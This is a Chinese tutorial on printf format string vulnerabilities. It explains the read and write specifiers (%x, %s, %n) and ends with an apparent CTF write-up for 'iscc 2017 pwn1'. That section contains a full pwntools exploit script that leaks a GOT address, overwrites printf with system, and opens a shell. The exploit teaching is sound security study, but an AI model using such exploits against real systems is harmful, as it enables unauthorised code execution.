格式化字符串漏洞

格式化字符串漏洞原理及其利用

0x1 基础知识讲解
  1. 格式化字符串漏洞基本原理

格式化字符串漏洞的产生主要源于对用户输入内容未进行过滤,这些输入数据都是作为参数传递给某些执行格式化操作的函数,如printf,fprintf,vprintf,sprintf等。恶意用户可以使用“%s”和“%x”等格式符,从堆栈或是其他内存位置输出数据,也可以使用格式符“%n”向任意地址写入任意数据,配合printf()函数和其他类型功能的函数就可以向任意地址写入被格式化的字节数,可能导致任意代码执行,或者从漏洞程序中读取敏感信息,比如密码等。

例子:

1
printf("My Nmane is: %s","test")

执行该函数后将返回字符串:My Name is:test

该printf函数的第一个参数就是格式化字符串,它用来告诉程序将数据以什么格式输出。printf()函数个一般形式为printf(”format”,输出表列),format的结构为%[标志][输出最小宽度][.精度][长度]类型,以下是几种常见的格式化字符串参数:

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

教程中遇到的关键技术:

以下的N需要代换成10进制的整数,而且大小是有限制的。

%N$p:以16进制的格式输出位于printf第N个参数位置的值;

%N$s:以printf第N个参数位置的值为地址,输出这个地址指向的字符串的内容;

%N$n:以printf第N个参数位置的值为地址,将输出过的字符数量的值写入这个地址中,对于32位elf而言,%n是写入4个字节,%hn是写入2个字节,%hhn是写入一个字节;

%Nc:输出N个字符,这个可以配合%N$n使用,达到任意地址任意值写入的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
32位
'%{}$x'.format(index) // 读4个字节
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
64位
'%{}$x'.format(index, num) // 读4个字节
'%{}$lx'.format(index, num) // 读8个字节
'%{}$p'.format(index) // 读8个字节
'${}$s'.format(index)
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

关于print()函数的使用,正常我们使用的函数是这样的:

1
2
3
char str[100];
scanf("%s",str);
printf("%s",str);

这是正确的使用方式,但是也有人会这么用:

1
2
3
char str[100];
scanf("%s",str);
printf(str);

我们可以对比一下这两段代码,很明显,第二个程序中的printf()函数参数用户是可控的,用户在控制了format参数之后结合printf()函数的特性就可以进行相应的攻击。

0x2 漏洞利用

特性一:printf()函数的参数个数不固定

可以利用这一特性进行越界数据的访问。先看一下正常的程序:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}

编译运行之后:

1

接下来做一个测试,增加一个print()的format参数,改为printf("%s %d %d %d %x %x\n",buf,a,b,c);

编译运行后:test 1 2 3 bfe83c44 b77f5d00

2

从这里可以看出,printf按照我们的意愿打印出6个数值,但是后面两个数值不是我们输入当然参数,它是保存在栈中的数值,通过这个特性,只要构造出合适的格式化字符串我们就可以读取栈上的任意数据。

上面的例子只是告诉我们可以利用%x一直读取栈内的数据,可是这并不能满足我们的需求,我们要的事任意地址的读取,当然这也是可以的,我们通过下面的例子进行分析:

1
2
3
4
5
6
7
8
#include<stdio.h>
int main(int argc, char *argv[])
{
char str[200];
fgets(str,200,stdin);
printf(str);
return 0;
}

编译运行并输入:AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x,成功的读取到了AAAA:AAAA000000c8.b77325a0.8008960a.00000000.00000000.41414141.78383025.3830252e.30252e78如果将AAAA换成地址,第6个%x换成%s读取参数指定的地址上的数据?是不是就可以读取任意内存地址的数据了?
那么我们就可以这么构造去获取0x41414141地址上的数据:\x41\x41\x41\x41%08x%08x%08x%08x%08x%s
现在,我们可以利用格式化字符串漏洞读取内存的内容,看起来好像没也什么用,就是读个数据而已,我们能不能利用这个漏洞修改内存信息(比如说修改返回地址),从而劫持程序执行流程,这需要看printf函数的第二个特性。

特性二:利用%n格式符写入数据

%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,看下面的代码:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main()
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%d%n\n", num, &num);
printf("After: num = %d\n", num);
}

可以发现%n成功修改了num的值

1
2
3
Before: num = 66666666
66666666
After: num = 8

现在我们已经知道可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值,那我们是不是可以修改某一个函数的返回地址从而控制 程序执行流程呢,到了这一步细心的同学可能已经发现了,%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入。

特性三:自定义打印字符串的宽度

我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main()
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%.100d%n\n", num, &num);
printf("After: num = %d\n", num);
}

可以看到我们的num值被改为了100

1
2
3
Before: num = 66666666
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 100

这样就清楚如何去覆盖一个地址了吧,比如说,要把0x8048000这个地址输入内存,要做的就是把该地址对应的十进制134512640作为格式符控制宽度即可。

如果需要修改的数据是相当大的数值,可以使用%02333d这种形式。在打印数值右侧用0补齐不足位数的方式来补齐。

1
2
printf("%.134512640d%n\n", num, &num);
printf("After: num = %x\n", num);

运行后可以看到,num被成功的修改为:8048000

实例:iscc 2017 pwn1

  1. checksec查看程序都开启了哪些保护

3

这里程序开启了NX保护,所以不能再栈上写shellcode,只能考虑调用system函数,要调用一个函数:
(1) 我们首先要知道这个函数再内存中的地址
(2) 而且需要在栈上为程序布局好参数
(3) 还要能让地址跳到这个函数上去执行

问题:system的地址如何获取?
利用printf函数,可以打印出任意内存的数据,那么我们就可以利用这个漏洞打印出got表中的函数在内存中的地址,比如说打印出:puts函数(libc中的函数)这样我们就知道一个libc中的函数,根据这个函数在给定的libc的偏移我们就可以还原出整个libc在内存中的布局情况,这样我们就很容易找到system函数在目标服务器中的地址,这个问题也就解决了。
如果这道题目没有给出libc?应该怎么去获取system的地址?首先Linux内核是在不断更新的,其中的libc版本也随着不断的更新,那么当libc的内容发生变化以后,其中函数之间的相对偏移肯定会发生变化,那么我们怎么才能根据已知的函数地址来得到目标函数的地址呢?

做一个假设:
条件一:我们拥有从Linux发型以来所有的版本的libc文件
条件二:我们已知至少两个函数在目标主机中的真实地址,那我们是不是可以用第二个条件去推测目标主机的libc版本呢?

进一步的分析:
关于条件二:
这里我们可以注意到:print是可以被我们循环调用的,因此可以进行连续的内存泄露,我们可以将多个got表中的函数地址泄露出来,这样就可以得到至少两个函数的地址,条件二满足
关于条件一:
这里给出一个网站:http://libcdb.com/ ,pwntools中的DynELF就是根据这个原理运作的,两个条件都满足,根据这些函数之间的偏移去筛选出libc的版本,这样我们就相当于得到了目标服务器的libc文件,达到了同样的效果

问题二和问题三:
假设:我们可以修改got表中的某个函数的地址到system的地址,那么程序在调用这个函数的时候其实调用的system函数了,根据格式化字符串漏洞的特性,我们知道是可以写任意内存的,那么这样就解决了第三个问题,怎么让地址跳到system函数
参数要怎么传递呢?
我们注意到,这个程序中存在以下libc中的函数:

1
2
3
4
puts
scanf
printf
gets

如果我们可以控制上面函数的第一个参数为“/bin/sh”的地址,那么我们就相当于为system传递了参数,答案是肯定的
现在我们来看以下程序的执行流程:

4

在跳转到system函数之前,我们肯定要先调用printf将某一个函数的got表进行覆盖,那么我们应该覆盖哪个函数?
注意到printf函数的参数是我们输入的字符串的地址,如果我们先利用printf的got表修改system的地址,然后程序继续执行,在 gets 的地方我们输入 “/bin/sh”
然后程序自动执行 printf , 事实上 printf 已经被我们修改成了 system , 而且传递的参数就是我们输入的 /bin/sh,其实如果有一个函数的第一个参数是一个整形而且我们可以控制的话,我们也可以通过控制这个整形参数来达到执行 system(“/bin/sh”) 的目的,这样我们就完成了对漏洞利用过程的分析
利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
p=remote("127.0.0.1",10001)
#get print libc addr
print_got=0x0804A010
print_offset=0x4CDD0
system_offset=0x3FE70
p.recvuntil("input$")
p.sendline("1")
p.recvuntil("please input your name:\n")
leak_payload=p32(print_got)+"bb%6$saa"
p.sendline(leak_payload)
p.recvuntil("bb")
info=p.recvuntil("aa")[:-2]
info=info[:4]
# system libc addr
print_addr=u32(info)
print "print_add:",hex(print_addr)
system_addr=print_addr-print_offset+system_offset
print "system_addr:",hex(system_addr)
# payload
payload=fmtstr_payload(6,{print_got: system_addr})
print(payload)
#send payload
p.recvuntil("input$")
p.sendline("1")
p.recvuntil("please input your name:\n")
p.sendline(payload)
print(p.recv())
#p.recvuntil("input$")
#p.sendline("1")
#p.recvuntil("please input your name:\n")
p.sendline('/bin/sh')
p.interactive()